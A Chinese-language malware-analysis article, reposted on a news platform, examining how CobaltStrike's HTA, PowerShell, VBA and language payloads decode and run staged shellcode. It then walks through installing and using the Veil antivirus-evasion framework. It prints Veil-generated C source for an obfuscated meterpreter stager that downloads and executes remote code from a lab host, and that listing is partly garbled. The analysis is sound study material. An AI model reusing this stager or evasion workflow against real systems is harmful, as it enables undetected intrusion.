网易首页 > 网易号 > 正文 申请入驻

透视CobaltStrike(二)——从CS到免杀框架Veil

0
分享至

概述

在上一节的的文章了,笔者对CobaltStrike的基本使用和PE样本进行了一个概要的分析。通过上一小节的内容,可了解CobaltStrike的基本原理和代码解密上线方法。在本节中,笔者将会对CobaltStrike其他类型的恶意样本进行一个分析。

由于foreign协议和beacon协议生成的样本解码方式相同,只是后续请求的方式不同,这里就不分开介绍了,只介绍beacon类型的样本。

HTML Application

CobaltStrike可生成三种类型的hta文件,分别是Executable、Powershell、VBA。

这三类样本的区别在于:

Executable 将会在hta文件中内嵌一个PE文件
Powershell 将会在hta文件中内嵌一段Powershell代码
VBA 将会在hta文件中内嵌一段VBA代码

Beacon_Executable

该类样本主要是创建一个包含VBScript的hta文件,在VBScript中,有一个硬编码的PE

脚本会在末尾将shellcode写入到evil_pe.exe中并通过Wscript.Shell加载执行

因此可以将这部分的shellcode赋值到010中保存为exe文件:

保存出来的pe是只有14kb,初步估计是上一小节分析过的加载器。

经过分析,可以确定该样本是CobaltStrike的的分段Payload加载器

Powershell

相比之下,Powershell类型的hta内嵌的shellcode体积就要小很多

该段Powershell代码主要是用于解密并执行中间一段base64编码的代码,中间的代码解码之后如下:

解码之后的Powershell依旧是解码执行base64编码的代码,不同的是,此次解码出来的将会是一个数据流,在后面解压缩执行。

所以可以将该段Powershell指令赋值到ps中执行,得到执行结果。

最后的这段Powershell代码首先会在末尾处通过[IntPtr]::size -eq 8 以判断当前的操作系统是32还是64位。若当前程序是64位,则以32位的模式启动。

这里调试ps1文件,直接将shellcode写入到2.txt中:

写入到1.txt中的内容还是一段Powershell指令,代码如下:

写入之后格式如下,写个简单的python脚本格式化即可

格式化出来之后可以发现这里的shellcode其实就是分段Payload中解密出来用于下载后续Payload的shellcode

VBA

内嵌VBA代码的hta相比前两类就要复杂一些

VBA类的hta主要是在hta中通过VBScript创建一个excel对象并填充恶意宏代码执行。

代码首先通过CreateBoject 创建了一个 Excel.Application对象并更改其可见属性为False

接着程序创建一个WscriptShell对象用于操作注册表,主要是添加宏的安全属性

准备工作完成之后,程序会给Excel对象添加工作表并且将宏代码填充进去:

最后通过Auto_Open方法调用宏:

所以可以直接在excel中创建一个宏对象,将hat文件中的宏代码拷贝过去调试,记得位置需要选择到当前的文档,而不是应用到所有模板

但是将宏代码插入到excel之前需要先把一些没用的代码给替换掉,原始代码如下,经过简单分析,可以知道每个符号分别应该替换为多少,并且直接将cha(xx)的形式替换为对应的符号,这个过程可以手动替换,也可以直接编写一个python脚本进行替换。

完全替换并格式化后的宏代码应该如下:

简单分析后可得知,宏代码中应该是编码了一段hex数据流,宏代码会将这段数据流读解码后读取到内存并通过rundll32加载执行

加载方式是直接写入内存

所以可以调试到 res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0) 的时候使用火绒剑查看rundll32.exe的进程信息,找到写入的进程地址,本例中为851968,将其转换为16进制得到d0000

获取到写入的地址之后,可以直接在火绒剑里面右键,查看进程信息,转到线程,双击之后,在内存查看窗口中输入转换后的十六进制地址:d0000查看内存

跳转过来之后可以发现,这片内存的数据就是我们之前分析过的shellcode。由于火绒剑本身不带有内存dump的功能,想要dump这片内存可以使用其他的内存dump工具。

Payload

除了直接生成恶意样本,CobaltStrike还支持生成各种语言的Payload,包括了C、C#、Java、Python等常见语言

其中C、C#、JAVA、Perl、Python、Ruby、VBA等类型的Payload均为硬编码的shellcode,而这段shellcode之前已经看到过不止一次了。攻击者可以编写任意的加载器,将这段buf加载到内存中执行。

COM组件的sct文件和上面分析的HTML APPlication的VBA相似,均为创建一个excel对象将预定义的宏代码写入进去执行:

同样的,Powershell类型的Payload跟hta类型的Powershell解码出来保持一致:

Powershell_cmd类型的Payload会直接生成一行可执行的Powershell指令,该条指令用于执行一段base64编码的指令

该段base64解码之后还是一段Powershell指令,该段Powershell指令依旧用于执行base64编码后的指令

内层的base64字符串解码之后是一段压缩后的shellcode,程序会通过IO.Compression.GzipStream解压缩这段数据通过IEX加载执行,这和hta的Powershell保持一致。

至此,除Veil之外,CobaltStrike生成的所有Payload都已经看完,通过对各种payload的简单分析可以得知,CobaltStrike看起来可以生成多种类型的payload,但其实本质上,payload所加载的shellcode其实是基本都是cs的downloader。

Veil

在上一小节介绍了CobaltStrike生成的各类payload,唯独没有介绍Veil,是因为Veil并不是可直接投入使用的语言,而是一款和CobaltStrike配合使用的免杀框架。

CobaltStrike客户端可以生成Veil类型的payload,攻击者将该Payload传入到Veil框架中即可生成具有一定免杀性的样本。

在kali中安装Veil只需要在确保配置的源可用的情况下执行apt -y install veil 即可快速安装

安装之后执行/usr/share/veil/config/setup.sh —force —silent 进行配置:

配置完成,在命令行输入veil指令就可进入到Veil:

Veil主要是包含了Evasion和Ordnance两个免杀工具,其中Evasion是用作文件免杀,Ordnance可生成一段Veil的Shellcode。接下来将以一个简单的例子讲述Veil框架的样本生成:

Make Veil for Autoit

在命令行键入use 1选择Evasion工具,可查看Evasion支持的一些命令,其中list指令可列举出Evasion包含的所有类型的Payload,use指令可选择Payload,info 指令可查看Payload的相信信息。

键入list命令查看可配置的Payload列表

Veil的Evasion一共包含了41中Payload,其中包括autoit的shellcode注入、meterpreter后门、cs后门、golang版本的meterpreter后门、lua的shellcode注入、perl的shellcode注入、Powershell版本的meterpreter后门、python版
本的meterpreter后门、python的shellcode注入、ruby的meterpreter后门、ruby的shellcode注入等等。

键入info 1 或者info autoit/shellcode_inject/flat.py 可查看第一类Payload的详细信息:

根据回显信息可知,autoit的Payload可直接编译成可执行文件。所以键入use 1 生成一个autoit的Payload试试

键入generate准备生成样本,Evasion提供了5种方式的shellcode,分别是

  1. Ordnance(默认)
  2. MSFVenom (MSF的Payload)
  3. Custom shellcode String (自定义的shellcode)
  4. File With Shellcode(十六进制的shellcode文件)
  5. Binary file with shellcode(二进制形式的shellcode文件)

这里看看Veil框架自带的样本,于是键入1,选择默认方式生成,接下来程序会让用户选择直接生成原始payload还是生成编码后的payload

而这里的Encoders其实只有一个xor方式

为了对比生成的shellcode情况,这里键入use 6 选择不进行编码,可以看到坏字符为\x00,无编码方式,接下来只设置好lhost和lport之后,键入generate即可生成payload

最后键入文件名,即可在Veil的文件目录下生成对应的exe文件:

Veil Autoit

通过工具解析这个pe文件,将autoit脚本dump出来如下:

Autoit脚本本身较短,主要就是将先前在Veil控制台生成的那段shellcode注入到calc.exe中

Veil默认生成的shellcode和上一小节cs的shellcode风格类似,但是短小了很多

经过快速的验证可以得知,该段shellcode就是CobaltStrike中用于下载后续payload的shellcode:

回到Veil框架中来,刚才在生成autoit的样本时候,Veil提供了五个选项用于生成不同的shellcode,上面经过试验可知Veil默认的shellcode和CobaltStrike中对应,接下来看看MSFvenom选项的shellcode。

在配置shellcode时候选择 2- MSFVenom,选择msf的shellcode,根据提示键入对应的信息,最后程序会生成一个名为payload1.exe的利用文件:

将msfvenom方式生成的样本dump出来,发现注入方式相同,但是注入的shellcode有所改变

msfvenom的shellcode和CobaltStrike的基本一样,但是感觉要稳定一些

关于MSF的shellcode为什么和CobaltStrike的shellcode如此相似,笔者会在下一篇文章中进行详细的介绍。

由于2 3 4 三个选项都需要payload作为输入,这个暂且不进行分析。从选项5到选项8,均为c语言的meterpreter

Veil2meterpreter

选择c/meterpreter ,Veil自动配置好了LPORT,需要用户手动键入LHOST和Filename。

配置完成之后,生成payload的时候,Veil会自动创建源代码文件和可执行文件,分别放入compiled文件夹和source文件夹中。

打开source文件夹中的use5.exe.c可看到该payload生成的C语言源码:

格式化之后完整代码如下

#define _WIN32_WINNT 0x0500#include #include #include #include #include #include char* HTzuNvhCcP(char* s){ char *result = malloc(strlen(s)*2+1); int i; for (i=0;i

-1)-i]=t[i]; } t2[length] = '\0'; return t2;}int xDEADohLQOWAzHd(char PRgNjrnBFiTU[]) { int ALonTwgUnqVHeP=0; int i; for (i=0;i, &euQsZxqczZN) < 0) { WSACleanup(); exit(1); }}char* OZNtVHUJ(){ char EqafcdrUDe[2322], lchzXusA[2322/2]; strcpy(EqafcdrUDe,"KsdJVurnXCZwEPwiYxMkTesCJnIcBzpzkbpihXhtoIKlPqSowe"); strcpy(lchzXusA,"WbxKqlvywkBPPFOwqjvVDYWNHzeRElhmgzEVedFMzzZIbLNYbN"); return OySGHDw(strcat( EqafcdrUDe, lchzXusA));}void MxzrqhwCGD(SOCKET HpKFhGTt) { closesocket(HpKFhGTt); WSACleanup(); exit(1);}char* ezkJzCUX(){ char *FoteTKotVa = HTzuNvhCcP("ntHkjiirjivMQLRcvIHfhkPRwprXXDMVwVCXKmYXzGjTKGqYtB"); return strstr( FoteTKotVa, "p" );}char* XqleexaJmujm(){ srand (time(NULL)); int i; char jXDHwTYg[] = "NpDPygsCZFz0fIlSQAO2c4xrb6vJYiWXGm1TVw3udUnkKa9EtBMLHjqheR58o7"; char* bMKWmB = malloc(5); bMKWmB[4] = 0; while (1<2) { for(i=0;i<3;++i) { bMKWmB[i] = jXDHwTYg[rand() % (sizeof(jXDHwTYg)-1)]; } for(i=0;ih_addr, Iaedcj->h_length); XIHDAdziTSd.sin_family = AF_INET; XIHDAdziTSd.sin_port = htons((673*12+4)); if ( connect(rrlyFfRiscWV, (struct sockaddr *)&XIHDAdziTSd, sizeof(XIHDAdziTSd)) ) MxzrqhwCGD(rrlyFfRiscWV); return rrlyFfRiscWV;}int main(int argc, char * argv[]) { char * EcQtTd; int i; char* YGADVFvMCa[5463]; for (i = 0;i < 5463;++i) YGADVFvMCa[i] = malloc (4182); MzItUPnp(); char* WCficlPxKiWRYg[264]; SOCKET mpmACD = rGEiHkVJYjGbir(); for (i = 0;i < 264;++i) WCficlPxKiWRYg[i] = malloc (2850); char mwKObmvDwOIuJ[200]; sprintf(mwKObmvDwOIuJ, "GET /%s HTTP/1.1\r\nAccept-Encoding: identity\r\nHost: 192.168.230.129:8080\r\nConnection: close\r\nUser-Agent: Mozilla/4.0 (compatible;MSIE 6.1;Windows NT\r\n\r\n", XqleexaJmujm()); send(mpmACD,mwKObmvDwOIuJ, strlen( mwKObmvDwOIuJ ),0); Sleep(300); EcQtTd = VirtualAlloc(0, 1000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE); char* AGwAhuoOYGFoNzq[9887]; for (i=0;i<5463;++i) { strcpy(YGADVFvMCa[i], OZNtVHUJ()); } char * umWSfvQxRu = EcQtTd; int XHuuVPORMriW; do { XHuuVPORMriW = recv(mpmACD, umWSfvQxRu, 1024, 0); umWSfvQxRu += XHuuVPORMriW; }while ( XHuuVPORMriW > 0 ); for (i = 0;i < 9887;++i) AGwAhuoOYGFoNzq[i] = malloc (4361); for (i=0;i<264;++i) { strcpy(WCficlPxKiWRYg[i], ezkJzCUX()); } closesocket(mpmACD); WSACleanup(); ((void (*)())strstr(EcQtTd, "\r\n\r\n") + 4)(); for (i=0;i<9887;++i) { strcpy(AGwAhuoOYGFoNzq[i], UQVVQa()); } return 0;}

由于 6 7 8三个选项只是请求协议不同,加载方式还是大同小异的,这里就不分别对后面的进行生成和分析了。

不过关于Veil生成的meterpreter还是比较有意思的,本文篇幅至此,若是下一篇有机会的话将其完整分析补上。

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

相关推荐
热点推荐
消息称追觅手机业务已全部裁掉,研发全员离职

消息称追觅手机业务已全部裁掉,研发全员离职

金融界
2026-08-24 16:00:54
教育最大的远见:严控孩子手机,才是守住孩子最好的未来

教育最大的远见:严控孩子手机,才是守住孩子最好的未来

婷妈alan
2026-08-19 07:40:07
25岁中国女留学生在韩国失联5天,家属称此前保持正常联络,情绪稳定,领事馆:已紧急联系当地警方,全力查找其下落

25岁中国女留学生在韩国失联5天,家属称此前保持正常联络,情绪稳定,领事馆:已紧急联系当地警方,全力查找其下落

极目新闻
2026-08-25 18:46:30
迪士尼招人啦!月薪15000-45000、13薪、包吃包住、免费畅玩乐园!和狐兔CP做同事!

迪士尼招人啦!月薪15000-45000、13薪、包吃包住、免费畅玩乐园!和狐兔CP做同事!

羊城攻略
2026-08-25 23:53:04
港媒:中国高铁已被“粪便淹没”!再不解决后果严重,真的假的?

港媒:中国高铁已被“粪便淹没”!再不解决后果严重,真的假的?

青山夜谈
2026-07-23 03:37:44
俄第七大炼油厂被炸到全厂停产,74%主力产能已停摆

俄第七大炼油厂被炸到全厂停产,74%主力产能已停摆

桂系007
2026-08-25 10:54:46
陕西男子羁押期从看守所脱逃,伙同他人杀害举报人后“纸面服刑” 二审今日宣判:维持一审死刑判决

陕西男子羁押期从看守所脱逃,伙同他人杀害举报人后“纸面服刑” 二审今日宣判:维持一审死刑判决

红星新闻
2026-08-24 18:17:32
完爆 1.4 亿恩佐!曼城强势挖角巴萨核心!诺坎普王牌或空降英超

完爆 1.4 亿恩佐!曼城强势挖角巴萨核心!诺坎普王牌或空降英超

澜归序
2026-08-25 09:06:04
从3万到8千,黄埔网红盘跌出幸福感!

从3万到8千,黄埔网红盘跌出幸福感!

楼市灭霸
2026-08-25 20:02:16
股价涨50%!5000亿半导体设备龙头利润仅增5%,股民炸锅了:跌停

股价涨50%!5000亿半导体设备龙头利润仅增5%,股民炸锅了:跌停

金石随笔
2026-08-25 19:52:10
历史性突破!新党彻底摊牌:防务交解放军、接受一国两制

历史性突破!新党彻底摊牌:防务交解放军、接受一国两制

叶葉夜
2026-08-24 09:28:14
美媒:歼-16与阵风战机对抗会呈现一边倒的局面

美媒:歼-16与阵风战机对抗会呈现一边倒的局面

爱迷彩的老虎
2026-08-25 15:51:17
布朗82胜5人组!!没有勒布朗!

布朗82胜5人组!!没有勒布朗!

柚子说球
2026-08-25 20:33:30
为什么英国的“白崖”没有出现游客“人山人海”的现象?

为什么英国的“白崖”没有出现游客“人山人海”的现象?

良有方
2026-08-24 05:58:35
人民日报力荐:每天15分钟,6个抗阻动作,练出“抗炎”好体质

人民日报力荐:每天15分钟,6个抗阻动作,练出“抗炎”好体质

观星赏月
2026-08-19 08:32:12
要干啥?马斯克突然发帖:要给全世界人提供不可思议的医疗服务!

要干啥?马斯克突然发帖:要给全世界人提供不可思议的医疗服务!

粤语音乐喷泉
2026-08-24 11:07:16
“这面相,进厂都没人要”,女大学生印堂发黑,求职5年处处碰壁

“这面相,进厂都没人要”,女大学生印堂发黑,求职5年处处碰壁

妍妍教育日记
2026-07-02 17:49:51
医生建议:停止使用“绞肉机”,如果不丢弃,可能对肝脏有伤害

医生建议:停止使用“绞肉机”,如果不丢弃,可能对肝脏有伤害

橘子约定
2026-08-23 16:34:40
断供日本稀土5个月,它为什么还没趴下?

断供日本稀土5个月,它为什么还没趴下?

刻面
2026-06-11 13:55:24
CCTV5直播,中国男篮VS哈萨克斯坦队,放弃周琦、徐杰,原因简单

CCTV5直播,中国男篮VS哈萨克斯坦队,放弃周琦、徐杰,原因简单

体坛小快灵
2026-08-25 09:37:06
2026-08-26 01:23:00
安全客 incentive-icons
安全客
有思想的安全新媒体
1360文章数 4754关注度
往期回顾 全部

科技要闻

机器人跑赢博尔特,身体太快,脑子还在追

头条要闻

30多国组成"志愿联盟" 称准备向乌派出国际部队

头条要闻

30多国组成"志愿联盟" 称准备向乌派出国际部队

体育要闻

穆里尼奥如何摆贝林修斯姆巴佩?

娱乐要闻

张韶涵成都演唱会中暑,中途吸氧

财经要闻

宇树科技最低跌破600元 5天缩水超2000亿

汽车要闻

硬派越野+华为智驾 泰钽700上市焕新价24.98万起

态度原创

数码
游戏
旅游
教育
亲子

数码要闻

进入2nm时代!苹果发布M6芯片Mac mini与M5 Ultra芯片Mac Studio

《GTA6》再泄露!游戏货架摆满JS8主机 还有实体盘

旅游要闻

避开网红景区看云南,山村巨石藏古老传说,至今没有确切答案!

教育要闻

如何理解人与人之间的差距

亲子要闻

没考好,怎么办?

无障碍浏览 进入关怀版